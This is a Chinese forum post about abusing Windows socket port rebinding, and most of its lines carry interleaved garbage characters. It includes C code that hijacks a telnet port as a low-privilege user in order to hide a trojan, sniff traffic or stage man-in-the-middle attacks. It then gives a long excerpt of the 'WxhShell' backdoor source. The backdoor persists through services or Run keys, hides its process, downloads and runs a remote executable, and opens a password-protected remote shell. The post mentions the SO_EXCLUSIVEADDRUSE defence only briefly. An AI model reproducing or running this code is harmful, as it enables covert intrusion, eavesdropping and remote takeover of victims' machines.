社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14092阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8DlRD$_:&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (Yc}V  
fAeq(tI=  
  saddr.sin_family = AF_INET; |F>'7JJJ  
X]%n#\t,]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZCkwK  
zeHs5P8}r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?u M2|Nk  
WAh{*$Rpl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2ISnWzq;  
pS)/yMlVj  
  这意味着什么?意味着可以进行如下的攻击: ;KW}F|  
sMqAuhw$.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U_Va'7  
;z^C\=om  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  jQ?6I1o  
ais"xm<V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r}])V[V  
A! !W\Jt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L [7Aa"R  
5?4jD]Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y[ toN9,  
i!EN/Bd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?e!mv}B_  
\*$''`b)j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HrQft1~N  
5J8U] :Y)  
  #include !BW6l)=L  
  #include veh?oJi@  
  #include 2q.J1:lW  
  #include    8;]U:tv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IHtNaN )  
  int main() ,XNz.+Ov  
  { 'uw=)8t7  
  WORD wVersionRequested; Kr|9??`0E  
  DWORD ret; MHkTN  
  WSADATA wsaData; OfGMeN6  
  BOOL val; W-+~r  
  SOCKADDR_IN saddr; Qyoly"b@  
  SOCKADDR_IN scaddr; n$}Cj}eju  
  int err; H[&X${ap  
  SOCKET s; U(cV#@Y  
  SOCKET sc; V/}g'_E  
  int caddsize; "]C$"JR  
  HANDLE mt; !4B($]t  
  DWORD tid;   oO8V0VE\  
  wVersionRequested = MAKEWORD( 2, 2 ); + \AiUY  
  err = WSAStartup( wVersionRequested, &wsaData ); )a%kAUNj  
  if ( err != 0 ) { |+Fko8-  
  printf("error!WSAStartup failed!\n"); 0R%R2p'wG  
  return -1; w(KB=lA2  
  } B&E qd  
  saddr.sin_family = AF_INET; MxO0#  
   MjW g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Oy^)lF/  
B2PjS1z2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pIy+3&\e;  
  saddr.sin_port = htons(23); se1\<YHDS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #PpmR _IX  
  { X>`e(1`_O  
  printf("error!socket failed!\n"); \,i?WgWv  
  return -1; [80L|?, *  
  } 3~7X2}qU  
  val = TRUE; &nk[gb o\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `|\z#Et  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q^qdm5}UkW  
  { `$*cW1  
  printf("error!setsockopt failed!\n"); 451TTqc  
  return -1; O]SjShp  
  } V uqJ&U.-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \/Z?QBFvz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6 ZutU ~HS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %,G&By&,  
)!:}R}q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WxB}Uh  
  { 1d4?+[)gUv  
  ret=GetLastError();  ahno$[  
  printf("error!bind failed!\n"); y3 vDKZ  
  return -1; zCZ]`  
  } Uk=-A @q  
  listen(s,2); lC8DhRd0_  
  while(1) 1Z5:D E<  
  { s%K 9;(RWI  
  caddsize = sizeof(scaddr); |]tIE{d  
  //接受连接请求 ^a6c/2K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XN@F6Gj  
  if(sc!=INVALID_SOCKET) bn b:4?d]  
  { 3_:J`xX(4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~|_s2T  
  if(mt==NULL) {_GhS%  
  { +=v6 *%y"V  
  printf("Thread Creat Failed!\n"); 7$8YBcZ6  
  break; w%(Ats  
  } fO+$`r>9  
  } Oq-O|qJj  
  CloseHandle(mt); s}NE[Tw  
  } `*5_`^t   
  closesocket(s); z@Klj qN  
  WSACleanup(); RqV* O}Am  
  return 0; >l & N  
  }   IUt/V^  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ifgh yh<d  
  { ZK1H%&P=R  
  SOCKET ss = (SOCKET)lpParam; V&i/3g  
  SOCKET sc; a^U)2{A*f  
  unsigned char buf[4096]; \yIan<q  
  SOCKADDR_IN saddr; k}xXja*  
  long num; k E^%w?C  
  DWORD val; lr>P/W\  
  DWORD ret; >5rb4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \e89 >m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =Oo=&vA.oc  
  saddr.sin_family = AF_INET; sop *?0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fwe4f  
  saddr.sin_port = htons(23); {h< V^r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fj?gXc5{  
  { _$g2;X >  
  printf("error!socket failed!\n"); !'y9/  
  return -1; ! ^~ ^D<  
  } rb"J{^  
  val = 100; /$w,8pV =  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) us/}_r74N*  
  { nY]5pOF:  
  ret = GetLastError(); U`G  
  return -1; )Z.v fc  
  } >bwB+-lyL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :5YL!D/&  
  { 0Nvk|uI V[  
  ret = GetLastError(); iJ&*H)}^  
  return -1; L5-p0O`R  
  } &7K 4tL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AQx:}PO  
  { dF@m4U@L  
  printf("error!socket connect failed!\n"); 25 NTtj:X  
  closesocket(sc); =tkO^  
  closesocket(ss); M<nKk#!+h  
  return -1; 0Yzm\"Ggv  
  } `#/0q*$  
  while(1) HLlp+;CF><  
  { y.iA]Ikz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Xr B)[kQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q%_QT0H9Kz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -~Ll;}nZC  
  num = recv(ss,buf,4096,0); H ~VeY\:w  
  if(num>0) jpGZ&L7i&  
  send(sc,buf,num,0); ~AvB5  
  else if(num==0) W(gOid KKz  
  break; HX)oN8  
  num = recv(sc,buf,4096,0); })V^t3  
  if(num>0) nM<B{AR5^  
  send(ss,buf,num,0); S)?V;@p6  
  else if(num==0) JZ l"k  
  break; n'5LY9"  
  } ro %Jg  
  closesocket(ss); fTq/9=Rq4  
  closesocket(sc); vtA%^~0  
  return 0 ; Wb1?>q  
  } A$7j B4  
6rP?$mn2  
q6]T;)U&  
========================================================== uht>@ WSg|  
:{g;J  
下边附上一个代码,,WXhSHELL }xA Eu,n^  
a'Vz|S G  
========================================================== iaV%*  
hFQ*50n}  
#include "stdafx.h"  X_\$hF  
>WcOY7  
#include <stdio.h> B - 1Kfc  
#include <string.h> wni^qs.i@3  
#include <windows.h> fe3a_gYPz  
#include <winsock2.h> +I <^w)  
#include <winsvc.h> ja-,6*"k  
#include <urlmon.h> Q2)CbHSz  
p=d,kY  
#pragma comment (lib, "Ws2_32.lib") ,SF>$ .  
#pragma comment (lib, "urlmon.lib") "n, %Hh  
:'$V7LZ5  
#define MAX_USER   100 // 最大客户端连接数 8 U<$u,WS  
#define BUF_SOCK   200 // sock buffer kM;}$*?  
#define KEY_BUFF   255 // 输入 buffer .gJv})Vi  
^&z3zFTp  
#define REBOOT     0   // 重启 P-_2IZiz  
#define SHUTDOWN   1   // 关机 ]=%oBxWAP  
Y(<(!TJ-  
#define DEF_PORT   5000 // 监听端口 c D5N'3  
TB%NHq-!  
#define REG_LEN     16   // 注册表键长度 `gSJEq  
#define SVC_LEN     80   // NT服务名长度 5L0w!q'W  
sLOkLz"x  
// 从dll定义API +Y_]<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IQ $/|b/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PN"=P2e/ 6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0 /)OAw"m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ($X2SIZh  
nkO4~p  
// wxhshell配置信息 AT -  
struct WSCFG { BmI'XB3'P  
  int ws_port;         // 监听端口 9TU B3x^  
  char ws_passstr[REG_LEN]; // 口令 (o2.*x  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3>#io^35  
  char ws_regname[REG_LEN]; // 注册表键名 _x]q`[Dih  
  char ws_svcname[REG_LEN]; // 服务名 O|mWQp^?q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7.nNz&UG]5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ro.br:'Bw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vduh5.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9zNMv-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k0IztFyj:R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {wp tOZ  
?2<V./2F  
}; [<JY[o=  
M=sGPPj  
// default Wxhshell configuration zxrbEE Q  
struct WSCFG wscfg={DEF_PORT, H03R?S9AQ  
    "xuhuanlingzhe", >f:OU,"  
    1, :+v4,=fHy  
    "Wxhshell", | E\u  
    "Wxhshell", X_(n  
            "WxhShell Service", 3a?dNwM@  
    "Wrsky Windows CmdShell Service", mc|8t0+1`  
    "Please Input Your Password: ", o(@^V!}V  
  1, _m#P\f'p  
  "http://www.wrsky.com/wxhshell.exe", Gxw>.O){  
  "Wxhshell.exe" %T DY &@i=  
    }; |HQFqa <  
`C)|}qcC  
// 消息定义模块 VX'G\Zz@h|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Gf<%bQE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;BW-ag \9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |D~#9  
char *msg_ws_ext="\n\rExit."; X-F:)/$xG  
char *msg_ws_end="\n\rQuit."; ADT8A."R[  
char *msg_ws_boot="\n\rReboot..."; %5Zhq>  
char *msg_ws_poff="\n\rShutdown..."; R[!%d6jDE  
char *msg_ws_down="\n\rSave to "; B18?)LA  
"[2D&\$  
char *msg_ws_err="\n\rErr!"; _MzdbUb5,  
char *msg_ws_ok="\n\rOK!"; o(Q='kK  
7DB!s@"  
char ExeFile[MAX_PATH]; BF(Kaf;<t.  
int nUser = 0; vve[.Lud'  
HANDLE handles[MAX_USER]; Rqun}v}  
int OsIsNt; m$A-'*'  
f4+}k GJN  
SERVICE_STATUS       serviceStatus; d^G5Pq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %s#`Z [8,  
2VgVn,c  
// 函数声明 4 moVS1  
int Install(void); c\N-B,m&  
int Uninstall(void); |&\cr\T\r  
int DownloadFile(char *sURL, SOCKET wsh); i&zJwUr(<  
int Boot(int flag); )Zit6I  
void HideProc(void); g?e-D.pSF  
int GetOsVer(void); fXB64MNo  
int Wxhshell(SOCKET wsl); m^Rf6O^  
void TalkWithClient(void *cs); \++#adN:K  
int CmdShell(SOCKET sock); V>B*_J,z.  
int StartFromService(void); B{-+1f4  
int StartWxhshell(LPSTR lpCmdLine); S0mF %"  
k+As#7V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U?yKwH^{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o>ZlA3tv  
=y1/V'2E  
// 数据结构和表定义 g TqtTd~L  
SERVICE_TABLE_ENTRY DispatchTable[] = a3(q;^v  
{ D>I|(B!.p8  
{wscfg.ws_svcname, NTServiceMain}, D3kx&AR  
{NULL, NULL} he1OLk  
}; =U<6TP]{  
O{44GB3  
// 自我安装 [iT#Pu5  
int Install(void) P1}Fn:Xe%7  
{ {-kV~p  
  char svExeFile[MAX_PATH]; G ~|Z (}H  
  HKEY key; Jz'8|o;^  
  strcpy(svExeFile,ExeFile); 2Uq4PCx!  
6$"0!fl>  
// 如果是win9x系统,修改注册表设为自启动 F/zbb  
if(!OsIsNt) { E/N*n!sV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bx8|_K*^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >aV Q  
  RegCloseKey(key); *Zi:^<hv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d!]fou  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T<=]Vg)^r"  
  RegCloseKey(key); b|z_1j6U  
  return 0; Q )b*; @  
    } ~}F$1;t0  
  } tr $~INe  
} ; \N${YIn  
else { K\]I@UTwq  
= ;"$t_t  
// 如果是NT以上系统,安装为系统服务 @x z?^20N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M<x W)R  
if (schSCManager!=0) , ,=7deR  
{ }n91aE3v  
  SC_HANDLE schService = CreateService L?gak@E  
  ( 4,pSC  
  schSCManager, :~1p  
  wscfg.ws_svcname, V`MV_zA2  
  wscfg.ws_svcdisp, d 9n{jv|  
  SERVICE_ALL_ACCESS,  j,c8_;X!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (o5+9'y"9  
  SERVICE_AUTO_START, y8.(filNB  
  SERVICE_ERROR_NORMAL, < BNCo5*  
  svExeFile, <M4Qc12jP  
  NULL, |:?JSi0  
  NULL, 8+7=yN(  
  NULL, W~&PGmRI  
  NULL, M!ra3Y  
  NULL 0 G.y_<=  
  ); j 4B|ktf  
  if (schService!=0) cPgz?,hE  
  { =<M7t*!  
  CloseServiceHandle(schService); FOU^Wcop%  
  CloseServiceHandle(schSCManager); cNd2XQB9=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ped3}i+|]  
  strcat(svExeFile,wscfg.ws_svcname); 0bQm:J[(#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gZs UX^%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H' [#x2  
  RegCloseKey(key); *&vySyt  
  return 0; jBvZ>H+w~  
    } u,6 'yB'u  
  } @?GOOD_i  
  CloseServiceHandle(schSCManager); {|jG_  
} mne=9/sE"  
} cO#e AQf7  
 /_r g*y*  
return 1; Z-!W#   
} > qSaF  
kXq*Jq  
// 自我卸载 T&2aNkuG  
int Uninstall(void) (]yOd/ru/C  
{ 0-^wY8n-=  
  HKEY key; N2"4dVV;  
#egP*{F   
if(!OsIsNt) { h%Nbx:vKk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o.}?K>5  
  RegDeleteValue(key,wscfg.ws_regname); Hset(-=X  
  RegCloseKey(key); 'M*+HY\.0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J!@$lyH  
  RegDeleteValue(key,wscfg.ws_regname); .g7ebh6D  
  RegCloseKey(key); U~SOHfZ%(  
  return 0; z90=,wd  
  } _J51 :pi  
} &pZUe`3  
} r"a4 ;&mf  
else { SR#%gR_SC  
MK]S205{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RN?z)9!  
if (schSCManager!=0) ")U`Wgx  
{ A#mf*]'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 13]sZ([B%|  
  if (schService!=0) W39R)sra  
  { )T6+}   
  if(DeleteService(schService)!=0) { ;6o p|  
  CloseServiceHandle(schService); a4 g~'^uC  
  CloseServiceHandle(schSCManager); ?o h3t  
  return 0; uOEFb  
  } A"V3g`dP  
  CloseServiceHandle(schService); Ed|7E_v  
  } 47"ERfP  
  CloseServiceHandle(schSCManager); Llf>C,)  
} #gOITXKs  
} x3L3K/qMg  
,\5]n&T;r  
return 1; @:i>q$aF  
} a%f5dj+  
voaRh@DZ%/  
// 从指定url下载文件 SZ-%0z  
int DownloadFile(char *sURL, SOCKET wsh) $Q|66/S^  
{ 0Bn$C, -  
  HRESULT hr; |pr~Ohz  
char seps[]= "/"; `S Wf)1K  
char *token; &adKKYN  
char *file; 7/(C1II.Q  
char myURL[MAX_PATH]; T7n;Bf  
char myFILE[MAX_PATH]; L[+65ce%*  
KoQvC=+WI  
strcpy(myURL,sURL); xYM! mcA  
  token=strtok(myURL,seps); A 20_a;V  
  while(token!=NULL) 3Nw9o6`U  
  { A]B D2   
    file=token; W"|89\p}  
  token=strtok(NULL,seps); Zx5vIm  
  } A1\;6W:  
33couAP#  
GetCurrentDirectory(MAX_PATH,myFILE); SR~~rD|V  
strcat(myFILE, "\\"); lbg!B4,  
strcat(myFILE, file); x!!: jL'L  
  send(wsh,myFILE,strlen(myFILE),0); :4Sj2  
send(wsh,"...",3,0); av wU)6L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q=~e|  
  if(hr==S_OK) vK#xA+W  
return 0; z -(dT  
else V )1SZt@x  
return 1; fYx$3a.  
LtH;#Q  
} W3 2mAz;  
p%J,af  
// 系统电源模块 ~oT0h[<  
int Boot(int flag) 4jis\W}%L3  
{ :?jOts>uP  
  HANDLE hToken; S! ,.#e(Y  
  TOKEN_PRIVILEGES tkp; 0?SdAF[:z  
Fg5c;sls  
  if(OsIsNt) { >F,~QHcz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D4n ~ 2]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }RDhI1x[mk  
    tkp.PrivilegeCount = 1; 4<Bj;1*4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bbiDY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZxbWgM5rm  
if(flag==REBOOT) { %S.R@C[3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) InNuK0@  
  return 0; im%'S6_X4  
}  $C(}  
else { "+&|$*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 398}a!XM  
  return 0; qN}0$x>p  
} WZ@nuK.39T  
  } ~+QfP:G  
  else { '(&.[Pk:"  
if(flag==REBOOT) { cL<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _hAp@? M  
  return 0; vy1:>N?#5  
} N!/^s":  
else { Z!~~6Sq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,V.X-`Y  
  return 0; >UZfi u  
} uUwwR(R  
} VCNg`6!x  
^0ipM/Lg  
return 1; gI'4g ZH  
} aJOhji<b#L  
&JtK<g  
// win9x进程隐藏模块 P8).Qn  
void HideProc(void) C:0Ra^i ?L  
{ + Q}Y?([  
M7fw/i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 68+ 9^  
  if ( hKernel != NULL ) ; R&wr _%  
  { yFH)PQ_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |.)oV;9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #fRhG^QKp  
    FreeLibrary(hKernel); 2j Oh~-LU  
  } $cSrT)u :  
& LwR9\sh  
return; op/HZa  
} ,L6d~>=41  
]xCJ3.9  
// 获取操作系统版本  #dtYa  
int GetOsVer(void) `QnKal)  
{ ;Bat!K7W  
  OSVERSIONINFO winfo; Ky8sLm@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K;sH0*  
  GetVersionEx(&winfo); ^j0Mu.+_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :0Rd )*k,v  
  return 1; 0 j:8 Ve  
  else SirjWYap  
  return 0; 8&IsZPq%l  
} M-e!F+d{od  
| Z0?  
// 客户端句柄模块 J3Qv|w [3Y  
int Wxhshell(SOCKET wsl) {W)Kz_  
{ \A6MVMF8  
  SOCKET wsh; 1j`-lD  
  struct sockaddr_in client; %FDi7Rx  
  DWORD myID; 9gZMfP  
'nz;|6uC  
  while(nUser<MAX_USER) 1`^l8V(  
{ d(3F:dbk  
  int nSize=sizeof(client); ] QGYEjW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9TIyY`2!  
  if(wsh==INVALID_SOCKET) return 1; mS p -  
Kyt.[" p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yM}}mypS  
if(handles[nUser]==0) A[ 9 @:z  
  closesocket(wsh); *p`0dvXG2  
else AON";&dLq-  
  nUser++; w},' 1  
  } @zL)R b%P$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I= G%r/3  
W=c7>s0>  
  return 0; w,bILv)  
} 11glFe  
iS&~oj_-%  
// 关闭 socket 0#pjfc `:  
void CloseIt(SOCKET wsh) *Z>Yv37P  
{ (o~f6pNB,  
closesocket(wsh); x|d Xa0=N_  
nUser--; G~1#kg  
ExitThread(0); +0rMv  
} +c.A|!-  
9I0/KuZd O  
// 客户端请求句柄 \(Dq=UzQI  
void TalkWithClient(void *cs) ^m;dEe&@F  
{ )IPnSh/ <  
M>D 3NY[,  
  SOCKET wsh=(SOCKET)cs; BF@(`D&>  
  char pwd[SVC_LEN]; S+py \z%  
  char cmd[KEY_BUFF]; F's($n  
char chr[1]; e4p:Zb:  
int i,j; 9_h 3<3e  
Vc.A <(  
  while (nUser < MAX_USER) { 7 Bm 18  
@'C f<wns  
if(wscfg.ws_passstr) { ; Xrx>( n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @[u!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8J{I6nPF  
  //ZeroMemory(pwd,KEY_BUFF); 3v)v92;  
      i=0; A`v(hBM  
  while(i<SVC_LEN) { #P.jlpZk  
Pk9s~}X  
  // 设置超时 T=35?   
  fd_set FdRead; 0L"CM?C  
  struct timeval TimeOut; !<H[h4g  
  FD_ZERO(&FdRead); qg#TE-Y`  
  FD_SET(wsh,&FdRead); ZZOBMF7  
  TimeOut.tv_sec=8; @P#uH5U  
  TimeOut.tv_usec=0; Q}FDu,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O( G|fs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L@2%a'  
sUN>uroi !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6kuN)  
  pwd=chr[0]; n)uvN  
  if(chr[0]==0xd || chr[0]==0xa) { J;h4)w~9H3  
  pwd=0; Bzn{~&i?W:  
  break; nkTH#WTfR  
  } Z.Lm[$/edn  
  i++; qp 4.XL  
    } s:lar4>kM  
s|rlpd4y  
  // 如果是非法用户,关闭 socket rGuhYYvK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p8K4^H  
} v39`ct=e  
.Gq.st%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r?Jxl<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c[E{9wp v  
!Rk1q&U5  
while(1) { fiOc;d8  
(oX|lPD<b  
  ZeroMemory(cmd,KEY_BUFF); m6^Ua  
A`<#}~A  
      // 自动支持客户端 telnet标准   *F*c  
  j=0; s<gZB:~  
  while(j<KEY_BUFF) { #q`[(`Bx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P7QOlTQI  
  cmd[j]=chr[0]; (Z5=GJM?$  
  if(chr[0]==0xa || chr[0]==0xd) { z_R^n#A~r  
  cmd[j]=0; i$;GEM}tv  
  break; ozH7c_ <  
  } $'e;ScH  
  j++; k%E9r'Ac  
    } vF"<r,pg  
,\!4 A  
  // 下载文件 ~E-YXl9  
  if(strstr(cmd,"http://")) { pxjN\q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4"1OtBU3  
  if(DownloadFile(cmd,wsh)) #m?GBr%k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UfjLNe}wA  
  else `M/=_O3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q1EY!AV8  
  } 1rh\X[@  
  else { [:sPZ{  
,6Sa  
    switch(cmd[0]) { -B :Z(]3#\  
  ='u'/g$'&  
  // 帮助 )bRe"jxn7  
  case '?': { !3U1HS-i62  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w,TyV%b[_  
    break; #<f}.P.Uc  
  } sj a;NL  
  // 安装 W!q 'wrIx(  
  case 'i': { rg+28tlDn  
    if(Install()) hj64ES#x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nN>D=a"&F  
    else #3u3WTk+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BF8n: }9U  
    break; 2+" =i/8  
    } }u cqzdk#2  
  // 卸载 W=M&U  
  case 'r': { fHvQ9*T  
    if(Uninstall()) :|`' \%zW-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cd{3JGg B  
    else Hb 'fEo r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !jY/}M~F1  
    break; 3~6F`G  
    } (Tp+43v  
  // 显示 wxhshell 所在路径 * 2[&26D  
  case 'p': { *E:w377<}  
    char svExeFile[MAX_PATH]; @iB**zR/  
    strcpy(svExeFile,"\n\r"); qyl~*r*  
      strcat(svExeFile,ExeFile); KIn^,d0H  
        send(wsh,svExeFile,strlen(svExeFile),0); St,IWOmq"  
    break; ^!k^=ST1J  
    } g3n^ <[E  
  // 重启 ?"+' OOqik  
  case 'b': { OP |{R7uC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PN/2EmwtC  
    if(Boot(REBOOT)) S;NChu?8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i_g="^  
    else { `}k!SqG  
    closesocket(wsh); a$#,'UB  
    ExitThread(0); WzgzI/  
